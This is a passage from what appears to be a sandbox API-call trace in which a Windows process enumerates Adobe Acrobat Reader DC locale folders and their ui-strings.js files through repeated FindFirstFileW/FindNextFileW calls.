Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.040] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.040] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.040] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.040] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.041] GetProcessHeap () returned 0xc10000 [0257.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.041] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0257.041] GetProcessHeap () returned 0xc10000 [0257.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0257.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.042] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.043] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0257.043] GetProcessHeap () returned 0xc10000 [0257.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.043] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0257.043] GetProcessHeap () returned 0xc10000 [0257.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.044] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.044] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.045] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.045] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.045] GetProcessHeap () returned 0xc10000 [0257.045] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.045] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0257.045] GetProcessHeap () returned 0xc10000 [0257.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.046] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.047] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x413, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.047] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x413, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.047] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.047] GetProcessHeap () returned 0xc10000 [0257.047] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.047] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0257.047] GetProcessHeap () returned 0xc10000 [0257.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0257.049] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.049] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.049] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.049] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0257.049] GetProcessHeap () returned 0xc10000 [0257.049] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.049] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0257.049] GetProcessHeap () returned 0xc10000 [0257.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0257.454] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.454] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.454] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.454] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0257.454] GetProcessHeap () returned 0xc10000 [0257.454] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.454] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0257.455] GetProcessHeap () returned 0xc10000 [0257.455] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0257.628] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.628] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.628] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.628] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0257.628] GetProcessHeap () returned 0xc10000 [0257.628] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.628] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0257.628] GetProcessHeap () returned 0xc10000 [0257.628] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0257.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.629] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.629] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0257.629] GetProcessHeap () returned 0xc10000 [0257.629] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.629] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, 